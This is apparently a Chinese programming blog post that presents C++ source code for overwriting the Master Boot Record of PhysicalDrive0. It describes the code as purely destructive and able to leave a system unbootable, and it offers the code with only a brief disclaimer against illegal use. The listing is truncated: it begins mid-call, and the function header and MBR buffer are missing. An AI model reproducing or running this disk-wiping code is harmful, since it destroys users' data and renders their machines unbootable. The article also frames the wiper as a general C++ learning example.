C++破坏MBR的代码

前端技术 2023/09/05 C++

本文实例讲述了C++破坏MBR的代码，该源码只有破坏作用，使系统无法进入。仅供大家参考借鉴之用。请勿用于非法目的。

源码来源于网上。具体代码如下：

\\\\\\\\.\\\\PhysicalDrive0\", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); 
    if (hDevice == INVALID_HANDLE_VALUE) 
    { 
        printf(\"createfile failed...\"); 
        return -1; 
    } 
 
    //锁定卷，使用FSCTL_LOCK_VOLUME时，以下有几个参数设为NULL,0; 
    /*Parameters
    hDevice
    A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function. 
 
    dwIoControlCode
    The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation. 
 
    lpInBuffer
    Not used with this operation; set to NULL.
 
    nInBufferSize
    Not used with this operation; set to zero.
 
    lpOutBuffer
    Not used with this operation; set to NULL.
 
    nOutBufferSize
    Not used with this operation; set to zero.
 
    lpBytesReturned
    A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */ 
 
 
    DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL); 
    //写入磁盘文件  
    WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL); 
    DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL); 
    return 0; 
} 
 
int main(int argc, char* argv[]) 
{ 
    writeMBR(); 
    return 0; 
}

希望本文所述对大家的C++程序设计有所帮助。
